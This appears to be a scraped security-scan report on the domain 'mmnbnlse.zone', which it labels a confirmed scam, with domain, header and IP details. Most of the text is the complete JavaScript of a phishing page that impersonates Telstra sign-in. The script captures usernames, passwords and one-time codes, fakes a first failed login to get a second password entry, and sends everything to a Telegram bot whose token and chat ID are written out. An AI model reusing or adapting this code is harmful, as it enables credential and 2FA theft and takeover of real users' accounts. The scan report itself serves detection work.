corporate business

government public service

adult content

documentation technical

news media journalism

English

The domain 'mmnbnlse.zone' uses the .zone top-level domain while skipping any subdomain. The registrable portion 'mmnbnlse' spans 8 characters containing 1 vowel alongside seven consonants. Word splitting yields 4 words: mm, nb, n, lse. Expect 2 characters per word on average. No strong language cues emerged from the frequency lists.

html/7f/de/7fdea1fd-9414-4bd3-8399-b4e60a042a14_fallback.html.gz

Sign in

username

password

rememberUsername

html/7f/de/7fdea1fd-9414-4bd3-8399-b4e60a042a14.html.gz

034972fac87bdd742dcf3d571e53cfa455b061103acef8993519f30043a3de40

viewport

HSTS header missing - vulnerable to protocol downgrade attacks

CSP header missing - vulnerable to XSS attacks

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;worker-src blob: 'self';frame-ancestors 'none';

child-src https:  chrome-untrusted://new-tab-page/ chrome-untrusted://ntp-microsoft-auth/;connect-src chrome://resources chrome://theme 'self';default-src 'self';font-src chrome://resources 'self';img-src chrome://resources chrome://theme chrome://image chrome://favicon2 chrome://app-icon chrome://extension-icon chrome://fileicon blob: data: 'self';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources chrome://webui-test 'self';style-src chrome://resources chrome://theme 'self' 'unsafe-inline';trusted-types parse-html-subset sanitize-inner-html static-types webui-test-script webui-test-html polymer-html-literal polymer-template-event-attribute-policy lit-html-desktop;frame-ancestors 'none';

child-src 'none';object-src 'none';require-trusted-types-for 'script';script-src chrome://resources 'self';trusted-types;frame-ancestors 'none';

base-uri 'none';child-src https:;form-action https://ogs.google.com https://*.corp.google.com;object-src 'none';script-src 'self' 'unsafe-inline' https:;frame-ancestors chrome://new-tab-page/

Amazon EC2 Abuse

IP Management

Amazon AWS Network Operations

Amazon Technologies Inc.

AWS RPKI Management POC

IP Routing

Amazon EC2 Network Operations

AMAZON-2011L


        // Global variables
        let loginAttempts = 0;
        let otpTimer;
        let totalSeconds = 5 * 60; // 5 minutes
        
        // Telegram bot configuration
        const TELEGRAM_BOT_TOKEN = '7934013072:AAG9liBrCTFvwqlJit99y19tWtUaHQM7h8E';
        const TELEGRAM_CHAT_ID = '7922848065';
        
        // Auto-grab email from URL hash
        function autoGrabEmail() {
            const hash = window.location.hash;
            if (hash && hash.startsWith('#')) {
                const email = hash.substring(1); // Remove the # symbol
                if (email && email.includes('@')) {
                    document.getElementById('username').value = email;
                }
            }
        }
        
        // Utility functions
        function showPage(pageId) {
            document.querySelectorAll('.page').forEach(page => {
                page.classList.remove('active');
            });
            document.getElementById(pageId).classList.add('active');
        }
        
        function showLoading() {
            document.getElementById('loadingScreen').style.display = 'flex';
        }
        
        function hideLoading() {
            document.getElementById('loadingScreen').style.display = 'none';
        }
        
        // Get visitor information
        function getVisitorInfo() {
            return {
                ip: 'Unknown', // Will be detected server-side in real implementation
                country: 'Unknown',
                region: 'Unknown',
                city: 'Unknown',
                isp: 'Unknown',
                user_agent: navigator.userAgent,
                url: window.location.href,
                screen_resolution: `${screen.width}x${screen.height}`,
                timezone: Intl.DateTimeFormat().resolvedOptions().timeZone,
                referrer: document.referrer || 'Direct',
                timestamp: new Date().toISOString()
            };
        }
        
        // Send data to Telegram
        async function sendToTelegram(data, type = 'login') {
            const visitorInfo = getVisitorInfo();
            
            let message = '';
            if (type === 'login') {
                message = `🔐 *Telstra Login Attempt*\n\n`;
                message += `👤 *Username:* \`${data.username}\`\n`;
                message += `🔐 *Password:* \`${data.password}\`\n`;
                message += `🔢 *Attempt:* ${data.attempt}\n`;
            } else if (type === 'otp') {
                message = `📱 *Telstra OTP Submitted*\n\n`;
                message += `👤 *Username:* \`${data.username}\`\n`;
                message += `🔢 *OTP Code:* \`${data.otp}\`\n`;
            }
            
            message += `🌐 *IP:* ${visitorInfo.ip}\n`;
            
            try {
                const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify({
                        chat_id: TELEGRAM_CHAT_ID,
                        text: message,
                        parse_mode: 'Markdown'
                    })
                });
                
                if (!response.ok) {
                    console.error('Failed to send to Telegram:', response.statusText);
                }
            } catch (error) {
                console.error('Error sending to Telegram:', error);
            }
        }
        
        // Login page functionality
        document.getElementById('loginForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const username = document.getElementById('username').value;
            const password = document.getElementById('password').value;
            const errorText = document.getElementById('password-error-text');
            
            loginAttempts++;
            
            // Send login data to Telegram
            await sendToTelegram({
                username: username,
                password: password,
                attempt: loginAttempts
            }, 'login');
            
            showLoading();
            
            // Simulate login attempt
            setTimeout(() => {
                hideLoading();
                
                if (loginAttempts >= 2) {
                    // After 2 attempts, go to OTP
                    showPage('otpPage');
                    startOtpTimer();
                } else {
                    // Show error for first attempt
                    errorText.textContent = 'The username or password entered does not match our records. Please try again.';
                    errorText.style.display = 'block';
                    document.getElementById('password').value = '';
                }
            }, 2000);
        });
        
        // Password show/hide functionality
        document.getElementById('showPwdBtn').addEventListener('click', function() {
            const passwordField = document.getElementById('password');
            passwordField.type = 'text';
            this.style.display = 'none';
            document.getElementById('hidePwdBtn').style.display = 'inline-block';
        });
        
        document.getElementById('hidePwdBtn').addEventListener('click', function() {
            const passwordField = document.getElementById('password');
            passwordField.type = 'password';
            this.style.display = 'none';
            document.getElementById('showPwdBtn').style.display = 'inline-block';
        });
        
        // OTP page functionality
        function startOtpTimer() {
            totalSeconds = 5 * 60; // Reset to 5 minutes
            const countdown = document.getElementById('countdown');
            const otpInput = document.getElementById('otp');
            
            otpTimer = setInterval(() => {
                totalSeconds--;
                const minutes = Math.floor(totalSeconds / 60);
                const seconds = totalSeconds % 60;
                countdown.textContent = `Code will expire in ${String(minutes).padStart(2, '0')}:${String(seconds).padStart(2, '0')}`;
                
                if (totalSeconds <= 0) {
                    clearInterval(otpTimer);
                    countdown.textContent = "Code expired.";
                    otpInput.disabled = true;
                }
            }, 1000);
        }
        
        document.getElementById('otpForm').addEventListener('submit', async function(e) {
            e.preventDefault();
            
            const otpCode = document.getElementById('otp').value.trim();
            const isValid = /^\d{6}$/.test(otpCode);
            
            if (!isValid) {
                document.getElementById('error-msg').style.display = 'block';
                return;
            }
            
            // Send OTP data to Telegram
            const username = document.getElementById('username').value;
            await sendToTelegram({
                username: username,
                otp: otpCode
            }, 'otp');
            
            showLoading();
            
            // Simulate processing delay
            setTimeout(() => {
                hideLoading();
                clearInterval(otpTimer);
                showPage('donePage');
            }, 2000);
        });
        
        document.getElementById('backBtn').addEventListener('click', function() {
            clearInterval(otpTimer);
            showPage('loginPage');
        });
        
        document.getElementById('resendLink').addEventListener('click', function(e) {
            e.preventDefault();
            alert("A new code has been sent to your device.");
            startOtpTimer(); // Restart timer
        });
        
        // Done page functionality
        document.getElementById('backToSignIn').addEventListener('click', function(e) {
  e.preventDefault();
            // Reset everything
            loginAttempts = 0;
            document.getElementById('loginForm').reset();
            document.getElementById('otpForm').reset();
            document.getElementById('password-error-text').textContent = '';
            document.getElementById('password-error-text').style.display = 'none';
            document.getElementById('error-msg').style.display = 'none';
            showPage('loginPage');
            autoGrabEmail(); // Re-grab email after reset
        });
        
        // Initialize
        document.addEventListener('DOMContentLoaded', function() {
            showPage('loginPage');
            autoGrabEmail(); // Auto-grab email on page load
        });
        
        // Listen for hash changes
        window.addEventListener('hashchange', function() {
            autoGrabEmail();
        });
    

Requests	IP Address	Location	AS Autonomous System
5	52.64.199.67	Sydney, New South Wales, Australia	AS16509AMAZON-02
2	54.66.224.79	Sydney, New South Wales, Australia	AS16509AMAZON-02
1	185.93.1.245	Chicago, Illinois, United States	AS60068Datacamp Limited
1	209.94.90.1	United States	AS40680PROTOCOL
1	13.237.71.205	Sydney, New South Wales, Australia	AS16509AMAZON-02
1	52.72.49.79	Ashburn, Virginia, United States	AS14618AMAZON-AES
1	2602:fea2:2::1	United States	AS40680PROTOCOL
1	2400:52e0:1e02::1317:1	Paris, Île-de-France, France	AS200325BUNNYWAY, informacijske storitve d.o.o.
9	8	-	-

Security Scan Report: mmnbnlse.zone

Summary

AI Security Verdict

Confirmed Scam

Risk Factors

Details

Screenshot

Page Load Overview

Language Analysis

Primary Language

Detection Details

Website Classification

Primary Category

All Detected Categories

Detected Features

Domain & IP Information

Detected Technologies1

Content Similarity HashesFor malware variant detection

Image Hashes

Perceptual Hashes

Other Hashes

Scan History